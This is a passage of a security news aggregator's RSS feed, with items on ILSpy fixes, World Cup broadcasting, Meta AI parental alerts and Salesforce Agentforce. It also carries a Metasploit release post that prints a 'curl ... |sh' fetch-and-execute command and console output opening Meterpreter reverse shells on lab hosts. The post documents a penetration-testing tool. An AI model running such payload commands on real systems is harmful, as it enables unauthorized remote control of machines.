<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4711234243" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3796" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3796/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3796">#3796</a>: Fix decompiler tests project inside VS — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DoctorKrolic/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DoctorKrolic">@DoctorKrolic</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4671354233" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3787" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3787/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3787">#3787</a>: dev: fix editorconfig parsing on some editors — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mochaaP/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mochaaP">@mochaaP</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4865510907" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3879" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3879/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3879">#3879</a>: Fix the "Use nested namespace structure" option — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ds5678/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ds5678">@ds5678</a>, thank you!</li>
</ul>
<h1>Bug Fixes</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4868276420" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3881" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3881/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3881">#3881</a>: Reject negative char index in the length-and-char string switch</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4814308307" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3866" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3866/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3866">#3866</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3053643281" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3475" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3475/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3475">#3475</a>: Emit 'true ? null : new { ... }' for null of anonymous type</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4814077592" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3864" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3864/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3864">#3864</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4810298870" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3860" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3860/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3860">#3860</a>: Avoid 'out var' if the variable recurs in the argument list</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4848565462" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3873" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3873/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3873">#3873</a>: Fix dynamic event-assignment decompilation leaking is-event opcode</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4813891618" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3863" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3863/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3863">#3863</a>: Simplify hoisted null-guard fold to reference-type constructor chains</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4804415379" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3852" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3852/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3852">#3852</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750711500" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3824" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3824/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3824">#3824</a>: fold a hoisted argument null-guard at the ILAst level</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4757025735" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3832" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3832/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3832">#3832</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4629464054" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3754" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3754/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3754">#3754</a>: omit async stepping info for runtime-async methods</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4722659830" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3806" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3806/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3806">#3806</a>: Fix Export NullReferenceException for images/resourcexsd.baml</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4687203880" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3792" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3792/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3792">#3792</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4644560669" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3774" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3774/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3774">#3774</a>: keep field initializers when decompiling a static ctor alone</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4686988933" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3790" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3790/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3790">#3790</a>: Skip missing session assemblies when navigating on launch</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4649929996" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3776" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3776/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3776">#3776</a>: Escape reserved Windows device names in output file names</li>
</ul>
<p>For a full list of changes click <a href="https://github.com/icsharpcode/ILSpy/compare/v10.1...v11.0-preview1">here</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Goooool v goal: English speakers flock to Telemundo for lively World Cup coverage]]></title>
<description><![CDATA[The Spanish-language broadcaster has won over millions of US viewers with its energetic commentary during gamesSoccer fans looking to watch the 2026 World Cup on US television have been presented with two very different options this tournament.The first is Fox Sports, a cousin of Fox News owned b...]]></description>
<link>https://tsecurity.de/de/3678123/it-nachrichten/goooool-v-goal-english-speakers-flock-to-telemundo-for-lively-world-cup-coverage/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678123/it-nachrichten/goooool-v-goal-english-speakers-flock-to-telemundo-for-lively-world-cup-coverage/</guid>
<pubDate>Sat, 18 Jul 2026 16:17:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Spanish-language broadcaster has won over millions of US viewers with its energetic commentary during games</p><p>Soccer fans looking to watch the <a href="https://www.theguardian.com/football/world-cup-2026">2026 World Cup</a> on US television have been presented with two very different options this tournament.</p><p>The first is <a href="https://www.theguardian.com/football/2026/jul/17/fox-world-cup-coverage-us-2026">Fox Sports</a>, a cousin of Fox News owned by the same parent company and the sole network airing matches in English in the US. Audiences tuning in to Fox, which acquired the exclusive English broadcast rights in 2015, are met with coverage that reflects the network’s “America first” aesthetic, with promos for pro-Donald Trump talkshows, advertising breaks during games and the frequent, <a href="https://www.theguardian.com/football/2026/jun/21/thierry-henry-alexi-lalas-fox-world-cup">grating presence</a> of host Alexi Lalas.</p> <a href="https://www.theguardian.com/football/2026/jul/17/telemundo-world-cup-english-speaking-viewers">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Will AI fix prior authorization—or make it worse?]]></title>
<description><![CDATA[The government is piloting a program that uses AI for insurance-coverage decisions.]]></description>
<link>https://tsecurity.de/de/3677916/ai-nachrichten/will-ai-fix-prior-authorization-or-make-it-worse/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677916/ai-nachrichten/will-ai-fix-prior-authorization-or-make-it-worse/</guid>
<pubDate>Sat, 18 Jul 2026 13:33:06 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The government is piloting a program that uses AI for insurance-coverage decisions.]]></content:encoded>
</item>
<item>
<title><![CDATA[Metasploit Wrap Up: An HTTP to SMB relay plus Payload Improvements]]></title>
<description><![CDATA[Metasploit Wrap Up HousekeepingWhile the Metasploit Framework will be continuing its weekly release cadence, bringing you dear reader our latest content, the Weekly Wrap Up is being shifted to a bi-weekly cadence. The team is planning to use the additional time between posts to record demos of so...]]></description>
<link>https://tsecurity.de/de/3676924/it-security-nachrichten/metasploit-wrap-up-an-http-to-smb-relay-plus-payload-improvements/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676924/it-security-nachrichten/metasploit-wrap-up-an-http-to-smb-relay-plus-payload-improvements/</guid>
<pubDate>Fri, 17 Jul 2026 21:52:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Metasploit Wrap Up Housekeeping</h2><p>While the Metasploit Framework will be continuing its weekly release cadence, bringing you dear reader our latest content, the Weekly Wrap Up is being shifted to a bi-weekly cadence. The team is planning to use the additional time between posts to record demos of some of the more exciting content. Stay tuned for the next generation of Metasploit Wrap Ups and be sure to subscribe to the <a href="https://www.rapid7.com/blog/tag/metasploit/rss/">RSS Feed</a> to be alerted when new blogs are released.</p><h2>Fetch Multi: Just Fetch and Forget?</h2><p>Our very own <a href="https://github.com/bwatters-r7">bwatters-r7</a> continued to enhance our Fetch Payloads implementation. This time adding a new Linux Fetch Multi payload family that supports on-the-fly Linux architecture identification. Standard Fetch payloads produce a command that will download and execute a specific binary payload on a target, but the new Linux Fetch Multi family will report the architecture of the target host when it requests the payload, and the handler will automatically serve the correct elf architecture payload for the given target. It means that if a user is exploiting a Linux host, they do not need to guess the target’s architecture when selecting a payload. It also means that one payload and one handler can serve across multiple targets of differing architectures. Since these payloads work by adding a query string, only HTTP and HTTPS-based fetch payloads support Fetch Multi payloads.</p><p>Here is an example of the same payload and handler identifying and delivering the proper elf architecture payloads to a mipsel host, a mips64 host, and an aarch64 host by just executing the command <span data-type="inlineCode">curl -s http://10.5.135.210:8080/x|sh</span> on each target.</p><p></p><pre>msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) &gt; show options
Module options (payload/cmd/linux/http/multi/meterpreter_reverse_tcp):
   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   FETCH_COMMAND   CURL             yes       Command to fetch payload (Accepted: CURL, FTP, GET, TFTP, TNFTP,
                                               WGET)
   FETCH_DELETE    false            yes       Attempt to delete the binary after execution
   FETCH_FILELESS  none             yes       Attempt to run payload without touching disk by using anonymous
                                              handles, requires Linux ≥3.17 (for Python variant also Python ≥3
                                              .8, tested shells are sh, bash, zsh) (Accepted: none, python3.8+
                                              , shell-search, shell)
   FETCH_SRVHOST                    no        Local IP to use for serving payload
   FETCH_SRVPORT   8080             yes       Local port to use for serving payload
   FETCH_URIPATH   x                no        Local URI to use for serving payload
   LHOST           10.5.135.210     yes       The listen address (an interface may be specified)
   LPORT           4444             yes       The listen port
   When FETCH_COMMAND is one of CURL,GET,WGET:
   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   FETCH_PIPE  true             yes       Host both the binary payload and the command so it can be piped dire
                                          ctly to the shell.
   When FETCH_FILELESS is none:
   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_FILENAME      cldOGvRDplZ      no        Name to use on remote system when storing payload; cannot co
                                                  ntain spaces or slashes
   FETCH_WRITABLE_DIR  ./               yes       Remote writable dir to store payload; cannot contain spaces
View the full module info with the info, or info -d command.
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) &gt; to_handler
[*] Command to execute on target: curl -s http://10.5.135.210:8080/x|sh
[*] Payload Handler Started as Job 0
[*] Fetch handler listening on 10.5.135.210:8080
[*] HTTP server started
[*] Adding resource /csmCra8lnQTHxFXkipQC0w
[*] Adding resource /x
[*] Started reverse TCP handler on 10.5.135.210:4444 
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) &gt; [*] Client 10.5.132.212 requested /x
[*] Sending payload to 10.5.132.212 (curl/8.13.0-rc3)
[*] Client 10.5.132.212 requested /csmCra8lnQTHxFXkipQC0w?arch=armv7l
[*] Sending payload to 10.5.132.212 (curl/8.13.0-rc3)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for armle arch
[*] Meterpreter session 1 opened (10.5.135.210:4444 -&gt; 10.5.132.212:45068) at 2026-07-14 11:33:18 -0500
[*] Client 10.5.132.214 requested /x
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Client 10.5.132.214 requested /csmCra8lnQTHxFXkipQC0w?arch=aarch64
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for aarch64 arch
[*] Meterpreter session 2 opened (10.5.135.210:4444 -&gt; 10.5.132.214:39894) at 2026-07-14 11:33:26 -0500
[*] Client 10.5.132.224 requested /x
[*] Sending payload to 10.5.132.224 (curl/7.52.1)
[*] Client 10.5.132.224 requested /csmCra8lnQTHxFXkipQC0w?arch=mips64
[*] Sending payload to 10.5.132.224 (curl/7.52.1)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for mips64 arch
[*] Meterpreter session 3 opened (10.5.135.210:4444 -&gt; 10.5.132.224:53506) at 2026-07-14 11:33:41 -0500
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) &gt; sessions -C sysinfo
[*] Running 'sysinfo' on meterpreter session 1 (10.5.132.212)
Computer     : kali-raspberrypi
OS           : Debian  (Linux 5.15.44-Re4son-v7+)
Architecture : armv7l
BuildTuple   : armv5l-linux-musleabi
Meterpreter  : cmd/linux
[*] Running 'sysinfo' on meterpreter session 2 (10.5.132.214)
Computer     : kali-raspberrypi
OS           : Debian  (Linux 5.15.44-Re4son-v8l+)
Architecture : aarch64
BuildTuple   : aarch64-linux-musl
Meterpreter  : cmd/linux
[*] Running 'sysinfo' on meterpreter session 3 (10.5.132.224)
Computer     : ubnt
OS           : Debian 9.13 (Linux 4.9.79-UBNT)
Architecture : mips64
BuildTuple   : mips64-linux-muslsf
Meterpreter  : cmd/linux
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) &gt;</pre><h2>RISC architecture is going to change everything!</h2><p>Speaking of juggling multiple architectures, <a href="https://github.com/bcoles">bcoles</a> added support for yet another IoT arch: RiscV. The change adds staged and stageless shell payloads for both 32- and 64-bit RiscV systems, and dovetails well with his other PR adding XOR encoders for RiscV payloads.</p><h2>New module content (4)</h2><h3>Microsoft Windows HTTP to SMB Relay</h3><p>Author: jheysel-r7</p><p>Type: Auxiliary</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21620">#21620</a> contributed by <a href="https://github.com/jheysel-r7">jheysel-r7</a></p><p>Path: server/relay/http_to_smb</p><p>Description: Adds an HTTP to SMB Relay server module allowing users to relay an incoming NTLM HTTP authentication request to multiple SMB servers in order to establish SMB session on the target hosts to be used by the framework.</p><h3>Byte XORi Encoder</h3><p>Author: bcoles <a href="mailto:bcoles@gmail.com">bcoles@gmail.com</a></p><p>Type: Encoder</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21235">#21235</a> contributed by <a href="https://github.com/bcoles">bcoles</a></p><p>Path: riscv32le/byte_xori</p><p>Description: Add four encoder variants for both RISC-V 32-bit and 64-bit little-endian architectures.</p><h3>FTP, HTTP, HTTPS and METERPRETER_REVERSE_TCP Fetch, Linux Chmod</h3><p>Authors: Brendan Watters, Spencer McIntyre, and bcoles <a href="mailto:bcoles@gmail.com">bcoles@gmail.com</a></p><p>Type: Payload (Adapter)</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21384">#21384</a> contributed by <a href="https://github.com/bwatters-r7">bwatters-r7</a></p><p>Description: Adds Linux fetch multi payloads, a fetch server for FTP-based fetch payloads, a TFTP server to rex/proto to align with our other servers.</p><p>This adapter adds 421 new payloads for all Linux and Windows architectures including:</p><ul><li>cmd/linux/ftp/aarch64/chmod</li><li>cmd/linux/ftp/x86/meterpreter/reverse_tcp</li><li>cmd/windows/ftp/aarch64/meterpreter_reverse_http</li></ul><h3>FTP Fetch, Linux dup2 Command Shell, Bind TCP Stager</h3><p>Authors: Brendan Watters, Spencer McIntyre, and bcoles <a href="mailto:bcoles@gmail.com">bcoles@gmail.com</a></p><p>Type: Payload (Stager)</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21237">#21237</a> contributed by <a href="https://github.com/bcoles">bcoles</a></p><p>Description: Adds reverse_tcp and bind_tcp stagers and a shell command stage for both RISC-V 64-bit and 32-bit little-endian Linux targets.</p><ul><li>cmd/linux/ftp/riscv32le/shell/bind_tcp</li><li>cmd/linux/http/riscv32le/shell/bind_tcp</li><li>cmd/linux/https/riscv32le/shell/bind_tcp</li><li>cmd/linux/tftp/riscv32le/shell/bind_tcp</li><li>linux/riscv32le/shell/bind_tcp</li><li>cmd/linux/ftp/riscv32le/shell/reverse_tcp</li><li>cmd/linux/http/riscv32le/shell/reverse_tcp</li><li>cmd/linux/https/riscv32le/shell/reverse_tcp</li><li>cmd/linux/tftp/riscv32le/shell/reverse_tcp</li><li>linux/riscv32le/shell/reverse_tcp</li><li>cmd/linux/ftp/riscv64le/shell/bind_tcp</li><li>cmd/linux/http/riscv64le/shell/bind_tcp</li><li>cmd/linux/https/riscv64le/shell/bind_tcp</li><li>cmd/linux/tftp/riscv64le/shell/bind_tcp</li><li>linux/riscv64le/shell/bind_tcp</li><li>cmd/linux/ftp/riscv64le/shell/reverse_tcp</li><li>cmd/linux/http/riscv64le/shell/reverse_tcp</li><li>cmd/linux/https/riscv64le/shell/reverse_tcp</li><li>cmd/linux/tftp/riscv64le/shell/reverse_tcp</li><li>linux/riscv64le/shell/reverse_tcp</li></ul><h2>Enhancements and features (4)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/21235">#21235</a> from <a href="https://github.com/bcoles">bcoles</a> - Add four encoder variants for both RISC-V 32-bit and 64-bit little-endian architectures.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21384">#21384</a> from <a href="https://github.com/bwatters-r7">bwatters-r7</a> - Adds Linux fetch multi payloads, a fetch server for FTP-based fetch payloads, a TFTP server to rex/proto to align with our other servers.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21599">#21599</a> from <a href="https://github.com/Pushpenderrathore">Pushpenderrathore</a> - This extends CertificateTrace functionality to also surface the server's TLS peer certificate when an HTTP module connects over HTTPS. This makes use of the same CertificateTrace enum (off/metadata/full) operators are already familiar with.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21602">#21602</a> from <a href="https://github.com/zeroSteiner">zeroSteiner</a> - Updates the Windows service PE template to use an injected segment instead of the old substitution method.</li></ul><h2>Bugs fixed (4)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/21621">#21621</a> from <a href="https://github.com/eipoverflow">eipoverflow</a> - This fix a limitation on running fileless staged Meterpreter in recent OSX versions.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21670">#21670</a> from <a href="https://github.com/zeroSteiner">zeroSteiner</a> - Marks the dynamic XOR encoders as unable to preserve registers and adds regression coverage for stage encoding when a preserved register is required.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21675">#21675</a> from <a href="https://github.com/sjanusz-r7">sjanusz-r7</a> - Fix search_cache job cache generation by skipping multi arch payloads.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21677">#21677</a> from <a href="https://github.com/bwatters-r7">bwatters-r7</a> - Fixes a bug in the HTTP relay server mixin where requests matching the module's URIPATH were silently dropped instead of being relayed The fix removes the now-unnecessary URIPATH option, ensures all requests are properly relayed, and adds spec tests to cover the fix.</li></ul><h2>Documentation</h2><p>You can find the latest Metasploit documentation on our docsite at <a href="https://docs.metasploit.com/">docs.metasploit.com</a>.</p><h2>Get it</h2><p>As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:</p><ul><li><a href="https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222026-07-08T13%3A32%3A18-07%3A00..2026-07-15T15%3A48%3A48-07%3A00%22">Pull Requests 6.4.143...6.4.144</a></li><li><a href="https://github.com/rapid7/metasploit-framework/compare/6.4.143...6.4.144">Full diff 6.4.143...6.4.144</a></li></ul><p>If you are a git user, you can clone the <a href="https://github.com/rapid7/metasploit-framework">Metasploit Framework repo</a> (master branch) for the latest. To install fresh without using git, you can use the open-source-only <a href="https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers">Nightly Installers</a> or the commercial edition <a href="https://www.rapid7.com/products/metasploit/download/">Metasploit Pro</a></p><p></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Meta AI Updates Its Chatbot To Alert Parents About Teen Self-Harm]]></title>
<description><![CDATA[The social media giant Meta just added a major safety feature to its digital assistant. When younger users have conversations that involve thoughts of suicide or hurting themselves, the company will step in. Instead of just showing crisis hotlines on the screen, the system will now send a direct ...]]></description>
<link>https://tsecurity.de/de/3676171/ios-mac-os/meta-ai-updates-its-chatbot-to-alert-parents-about-teen-self-harm/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676171/ios-mac-os/meta-ai-updates-its-chatbot-to-alert-parents-about-teen-self-harm/</guid>
<pubDate>Fri, 17 Jul 2026 15:26:06 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The social media giant Meta just added a major safety feature to its digital assistant. When younger users have conversations that involve thoughts of suicide or hurting themselves, the company will step in. Instead of just showing crisis hotlines on the screen, the system will now send a direct notification right to a linked parent or guardian. The change aims to help families address these serious issues in real life.



Human reviewers check the flagged chats before sending parental alerts



To make this work, the platform requires families to opt into its specific supervision tools first. Once those settings are active, the artificial intelligence monitors the background chats for any signs of distress. However, a computer program does not make the final call on its own.



The company stated that a real person will manually review every conversation flagged by the AI. This extra step helps prevent false alarms from reaching parents over harmless chats. If a reviewer decides the context is unclear, the system will still notify the parent just to be safe.



The safety rollout is currently live for users in the United States, Canada, the United Kingdom, and Australia. The company plans to expand this coverage to more countries later this year. Looking forward, the platform is also building a tool to contact emergency services directly if a chat suggests an immediate risk to a user's life.



Ultimately, this update gives families a practical tool to handle difficult situations. While no monitoring program is flawless, relying on human reviewers shows a careful approach to keeping vulnerable users safe online.]]></content:encoded>
</item>
<item>
<title><![CDATA[Won’t fix! – Teil 5: Tests schaffen Vertrauen, beweisen aber nie Korrektheit]]></title>
<description><![CDATA[100 Prozent Code Coverage und alle Tests grün geben kein verlässliches Korrektheitsurteil. Hinter dieser Beobachtung steckt mehr als nur Pech.]]></description>
<link>https://tsecurity.de/de/3675370/it-nachrichten/wont-fix-teil-5-tests-schaffen-vertrauen-beweisen-aber-nie-korrektheit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675370/it-nachrichten/wont-fix-teil-5-tests-schaffen-vertrauen-beweisen-aber-nie-korrektheit/</guid>
<pubDate>Fri, 17 Jul 2026 09:33:35 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[100 Prozent Code Coverage und alle Tests grün geben kein verlässliches Korrektheitsurteil. Hinter dieser Beobachtung steckt mehr als nur Pech.]]></content:encoded>
</item>
<item>
<title><![CDATA[Salesforce’s Agentforce product maturity questioned as KeyBanc cites weak customer traction]]></title>
<description><![CDATA[Salesforce’s AI agent platform, Agentforce, is seeing weaker-than-expected customer traction, according to a recent KeyBanc Capital Markets investment research note, which attributed the slowdown in part to the product itself, stating that “Agentforce, as a product, just isn’t there” yet, followi...]]></description>
<link>https://tsecurity.de/de/3675273/it-nachrichten/salesforces-agentforce-product-maturity-questioned-as-keybanc-cites-weak-customer-traction/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675273/it-nachrichten/salesforces-agentforce-product-maturity-questioned-as-keybanc-cites-weak-customer-traction/</guid>
<pubDate>Fri, 17 Jul 2026 09:03:12 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Salesforce’s AI agent platform, Agentforce, is seeing weaker-than-expected customer traction, according to a recent KeyBanc Capital Markets investment research note, which attributed the slowdown in part to the product itself, stating that “Agentforce, as a product, just isn’t there” yet, following customer checks and a CIO survey.</p>



<p class="wp-block-paragraph">“Our checks and customer conversations have not been strong, nor has the feedback been on Agentforce. What we can piece together in the disclosed numbers does not signal building momentum and, most recently, our CIO survey delivered another blow with Salesforce being a standout for the wrong reasons,” according to a<a href="https://seekingalpha.com/news/4612661-salesforce-receives-downgrade-to-sector-weight-as-agentforce-fails-to-gain-momentum-keybanc"> Seeking Alpha</a> that quoted a KeyBanc research note.</p>



<p class="wp-block-paragraph">“We attend more Salesforce partner and customer events than any other company in our coverage, and feedback from those customers has been consistent in two ways: 1) customers’ data is not in order to do meaningful AI work; and 2) Agentforce, as a product, just isn’t there,” Seeking Alpha reported, quoting the KeyBanc note.</p>



<p class="wp-block-paragraph">The KeyBanc note quoted by Seeking Alpha also pointed out that conversations with Salesforce “partners” indicate that Agentforce proof-of-concept deployments are only now starting to generate pipeline opportunities, while its CIO survey found more respondents expecting to deprioritize Salesforce within their IT budget than the other way around over the coming 12 months.</p>



<p class="wp-block-paragraph">The findings in the research note stand in contrast to Salesforce’s sustained push to position Agentforce as its flagship enterprise AI platform. Since introducing the offering nearly two years back, the company has expanded it with new <a href="https://www.cio.com/article/4011936/salesforce-agentforce-3-promises-new-ways-to-monitor-and-manage-ai-agents.html">foundation models, integrations</a>, deployment options, and pricing initiatives, most recently introducing its <a href="https://www.cio.com/article/4159536/salesforce-launches-headless-360-to-support-agent-first-enterprise-workflows.html">Headless 360</a> strategy to make Agentforce available beyond conventional CRM workflows through a more flexible consumption model.</p>



<p class="wp-block-paragraph">Parts of that flexible consumption model and Agentforce pricing, which Salesforce is still evolving, have already come under scrutiny with industry analysts <a href="https://www.cio.com/article/4178840/salesforces-headless-360-monetization-play-could-give-cios-a-familiar-budgeting-headache.html">expressing concern</a> that Headless 360’s monetization model could create budgeting headaches for CIOs by making AI spending less predictable and increasing pressure on IT leaders to demonstrate measurable business outcomes and return on investment before expanding deployments.</p>



<h2 class="wp-block-heading">Concerns over product maturity</h2>



<p class="wp-block-paragraph">Those concerns around Agentforce’s evolving pricing model appear to be intersecting with the latest concerns about product maturity that KeyBanc analysts mention in their report.</p>



<p class="wp-block-paragraph">“Three pricing model changes in roughly 18 months make procurement committees nervous, and if the commercial model keeps shifting, buyers question whether the product has stabilized either,” said <a href="https://www.linkedin.com/in/bhupendrachopra" target="_blank" rel="noreferrer noopener">Bhupendra Chopra</a>, chief revenue officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">Salesforce’s latest consumption-based pricing model, Chopra pointed out, is a bigger concern: “It is harder to budget for than seat-based licensing. CIOs want a clearer line between spend and outcome. That line isn’t clear enough yet.”</p>



<p class="wp-block-paragraph">Greyhound Research Chief Analyst <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, too, said that the pricing model is a fundamental issue for enterprises.</p>



<p class="wp-block-paragraph">While Salesforce’s pricing model charges enterprises for AI activity, it leaves customers to determine whether those interactions ultimately translate into meaningful business outcomes, Gogia said.</p>



